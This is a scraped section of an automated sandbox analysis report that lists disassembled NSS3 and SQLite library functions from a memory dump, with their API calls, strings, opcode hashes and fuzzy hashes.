Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: d9814173b1548df638352324a237402e64cec5584b757dd960e1ef35a1c6339a
Instruction ID: cf8303f3c16097d4a31ed3831ef5557c88092ea132311584216d45bf13dea3df
Opcode Fuzzy Hash: d9814173b1548df638352324a237402e64cec5584b757dd960e1ef35a1c6339a
Instruction Fuzzy Hash: DD9171BDE012058FDB44CF56C880BAAB7B1FF89318F25C168E919AB752D731E951CB50

Function 6CFC5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CFC5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFC5EED

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFC5ED1
invalid, xrefs: 6CFC5EBE
API call with %s database connection pointer, xrefs: 6CFC5EC3
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CFC5E64
misuse, xrefs: 6CFC5EDB
%s at line %d of [%.10s], xrefs: 6CFC5EE0

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: f5ac7d743765a44112b9b94180bddcdb4b0fa84c4003fa5dcad700eeb83b2c92
Instruction ID: e6153e3fec874330a5930330f9243c0564de68ab5440f6d74d281eff5dcc6f15
Opcode Fuzzy Hash: f5ac7d743765a44112b9b94180bddcdb4b0fa84c4003fa5dcad700eeb83b2c92
Instruction Fuzzy Hash: A481CF71B097139BEB198F65D848BABB370BF41308F280269D8155BB41CB71E842EBD3

Function 6CFADCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CFADDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFADE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFADE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CFADEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CFADF78

Strings

database corruption, xrefs: 6CFADE5C, 6CFADE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFADE52, 6CFADE81
%s at line %d of [%.10s], xrefs: 6CFADE61, 6CFADE90

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 9979a302dad5fc4c43ead5172397e799277bac043c9d593f4fe54d5606fcb1bc
Instruction ID: ce3b768de13377c06d59322ba6a5961caedf52094bcfc18f69108056966508f4
Opcode Fuzzy Hash: 9979a302dad5fc4c43ead5172397e799277bac043c9d593f4fe54d5606fcb1bc
Instruction Fuzzy Hash: 3F818E75608300DFD7149FA5C884B6BB7F1BB45308F15882DED9A8BA52EB31E846C752

Function 6CF5CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CF5B999), ref: 6CF5CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CF5B999), ref: 6CF5D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CF5B999), ref: 6CF5D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CF5B999), ref: 6D0A972B

Strings

database corruption, xrefs: 6CF5CFE7, 6CF5D013, 6CF5D028, 6CF5D039, 6CF5D03E, 6D0A9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5CFDD, 6CF5D00E, 6CF5D022, 6CF5D033, 6D0A9780
%s at line %d of [%.10s], xrefs: 6CF5CFEC, 6CF5D018, 6CF5D029, 6CF5D03F, 6D0A978B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 69dcf3b37f5357d28e2c8cacb07bbf7e448589e810cf89c6ba828808dfb3416d
Instruction ID: 2bae91296a5a18d6d9928cc486cb542e646e02853611fd30305cb1df4974e677
Opcode Fuzzy Hash: 69dcf3b37f5357d28e2c8cacb07bbf7e448589e810cf89c6ba828808dfb3416d
Instruction Fuzzy Hash: AF615671A042108BD310CF69C800BABBBF1FF55318F68816EE5499B742D3B7D942C7A1

Function 6D05FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PK11_FreeSymKey.NSS3(00000000), ref: 6D060113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D060130
PORT_Alloc_Util.NSS3(00000040), ref: 6D06015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6D0601AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6D060202
free.MOZGLUE(?), ref: 6D060224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D060253

Strings

exporter, xrefs: 6D0600F7

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 8b974e2e7629017265b91df5240794788d5575a188e0017ac65959936fff3bca
Instruction ID: e6d6bfac4d7ef004527c115fac45bed8554a328b609aef0891ddc3154b0f18ec
Opcode Fuzzy Hash: 8b974e2e7629017265b91df5240794788d5575a188e0017ac65959936fff3bca
Instruction Fuzzy Hash: 3461F1B194878A9BFB118FA6DC00BBE77F6FF44308F054128EE195B165EB319994C760

Function 6D05EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05EF6D

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

htonl.WSOCK32(00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05EFE4
htonl.WSOCK32(?,00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05EFF1
memcpy.VCRUNTIME140(?,?,6D07A4A1,?,00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6D07A4A1,?,00000000,?,00000001), ref: 6D05F027

Strings

dtls13, xrefs: 6D05EF33

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 96d2989e46ad52b3b710a3e5a717e84cf12ab9fe393320353a61484c137a7f08
Instruction ID: 4377b018d73960afe9aa8e9dc8815f30060d0509a219df44ee8cbedb01a3a2e6
Opcode Fuzzy Hash: 96d2989e46ad52b3b710a3e5a717e84cf12ab9fe393320353a61484c137a7f08
Instruction Fuzzy Hash: 79311475A04215AFE710CF28DD80B9AB7E4EF49358F168029ED58DB251EB31E921CBE1

Function 6CFDAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFDAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6D0F9500,6CFD3F91), ref: 6CFDAFD2

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

DER_GetInteger_Util.NSS3(?), ref: 6CFDB007

Part of subcall function 6D026A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CFD1666,?,6CFDB00C,?), ref: 6D026AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CFDB02F
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFDB046
PL_FreeArenaPool.NSS3 ref: 6CFDB058
PL_FinishArenaPool.NSS3 ref: 6CFDB060

Strings

security, xrefs: 6CFDAFB8

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 06348d3253c379683ea08074dd6e9aa16bebeb6b96df6d2d65affb9d6ad7bb3c
Instruction ID: 6fec958cb1ddf86ba4576b7934777b05d3002b10732654b8809c59fb0e2803c9
Opcode Fuzzy Hash: 06348d3253c379683ea08074dd6e9aa16bebeb6b96df6d2d65affb9d6ad7bb3c
Instruction Fuzzy Hash: 643139714083009BEB209F24DC48B6B77A4AF8636CF5A0A19E9B45B7D1E732A105CB97

Function 6CFD3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CFD40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CFD3F7F,?,00000055,?,?,6CFD1666,?,?), ref: 6CFD40D9
Part of subcall function 6CFD40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CFD1666,?,?), ref: 6CFD40FC
Part of subcall function 6CFD40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CFD1666,?,?), ref: 6CFD4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFD3ED6

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD3EEE

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD3F02
PL_FreeArenaPool.NSS3 ref: 6CFD3F14
PL_FinishArenaPool.NSS3 ref: 6CFD3F1C

Part of subcall function 6D0364F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6D03127C,00000000,00000000,00000000), ref: 6D03650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFD3F27

Strings

security, xrefs: 6CFD3EBC

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 2dd6601df751131f18acd5ea17a13255bfd9d47aef10fa55cbae8c9315a2f4e9
Instruction ID: a54d8af3a00c023235b427f0889a913462edbcee38f60564a6f272c7c23ba6d8
Opcode Fuzzy Hash: 2dd6601df751131f18acd5ea17a13255bfd9d47aef10fa55cbae8c9315a2f4e9
Instruction Fuzzy Hash: 5A213AB29083006BE3149B15AC41F6B77B8BB8871CF06053DFA49A7382E730E618C796

Function 6D01CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6D01CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6D01CE16
PR_SetError.NSS3(00000000,00000000), ref: 6D01D079

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: cfe635d48abbbeeb6ce590f74f31ed63bd3d2e00ba4877d84e53d986d6b67307
Instruction ID: 93c90fd1fdf2b5fb77fb02920d9d6a0a273e141ced837a3bbf90b58b29e1931c
Opcode Fuzzy Hash: cfe635d48abbbeeb6ce590f74f31ed63bd3d2e00ba4877d84e53d986d6b67307
Instruction Fuzzy Hash: 7DC170B190421A9BEB21CF64CC80BDAB7F4BF48318F1541A8D94CA7241E775EE95CF94

Function 6D00DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6D0197C1,?,00000000,00000000,?,?,?,00000000,?,6CFF7F4A,00000000), ref: 6D00DC68

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D00DFAA

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: cfb83b49d5fbe717413ff6999a938aa97ee7cab916538929999dee89eba2deed
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: CD81D470A04A82ABFB156A19D89037A72D6EBE4344F10C43ADB19CBEE5D77CC480C672

Function 6CFE3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CFE3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFE3C94

Part of subcall function 6CFD95B0: TlsGetValue.KERNEL32(00000000,?,6CFF00D2,00000000), ref: 6CFD95D2
Part of subcall function 6CFD95B0: EnterCriticalSection.KERNEL32(?,?,?,6CFF00D2,00000000), ref: 6CFD95E7
Part of subcall function 6CFD95B0: PR_Unlock.NSS3(?,?,?,?,6CFF00D2,00000000), ref: 6CFD9605

PORT_NewArena_Util.NSS3(00000800), ref: 6CFE3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CFE3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CFE3CE1

Part of subcall function 6CFE3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFFAE42), ref: 6CFE30AA
Part of subcall function 6CFE3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE30C7
Part of subcall function 6CFE3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFE30E5
Part of subcall function 6CFE3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFE3116
Part of subcall function 6CFE3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFE312B
Part of subcall function 6CFE3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFE3154
Part of subcall function 6CFE3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE317E

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 67cbfc194f402c7671ce5addc36e9a7970477a0f920fae31cdc4263f6e43465d
Instruction ID: 72da0671760582f402403cc68a01d73df002af5e118300cc75276ec01ad4160f
Opcode Fuzzy Hash: 67cbfc194f402c7671ce5addc36e9a7970477a0f920fae31cdc4263f6e43465d
Instruction Fuzzy Hash: 0661C7B5A04200BBFB105F65DC49FAB76B9EF18748F094028FE099B562F731E918C7A1

Function 6D023D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6D023440: PK11_GetAllTokens.NSS3 ref: 6D023481
Part of subcall function 6D023440: PR_SetError.NSS3(00000000,00000000), ref: 6D0234A3
Part of subcall function 6D023440: TlsGetValue.KERNEL32 ref: 6D02352E
Part of subcall function 6D023440: EnterCriticalSection.KERNEL32(?), ref: 6D023542
Part of subcall function 6D023440: PR_Unlock.NSS3(?), ref: 6D02355B

TlsGetValue.KERNEL32 ref: 6D023D8B
EnterCriticalSection.KERNEL32(?), ref: 6D023D9F
PR_Unlock.NSS3(?), ref: 6D023DCA
PR_SetError.NSS3(00000000,00000000), ref: 6D023DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6D023E4F

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

TlsGetValue.KERNEL32 ref: 6D023E97
EnterCriticalSection.KERNEL32(?), ref: 6D023EAB
PR_Unlock.NSS3(?), ref: 6D023ED6
PR_SetError.NSS3(00000000,00000000), ref: 6D023EEE

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 7e3258608cd78153f8a33028a75b0be9841f7e08151256b44f90cc82988926f7
Instruction ID: 8a4db3f48ce27899c94b6f192bda3a1401a2c3539d637d36c518c367cac6dca4
Opcode Fuzzy Hash: 7e3258608cd78153f8a33028a75b0be9841f7e08151256b44f90cc82988926f7
Instruction Fuzzy Hash: FB5136729012019BFF125F68EC44B6A77B4FF49324F05452CDE094B262EB71E899CBD1

Function 6CFD2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(8FA990EB), ref: 6CFD2C5D

Part of subcall function 6D030D30: calloc.MOZGLUE ref: 6D030D50
Part of subcall function 6D030D30: TlsGetValue.KERNEL32 ref: 6D030D6D

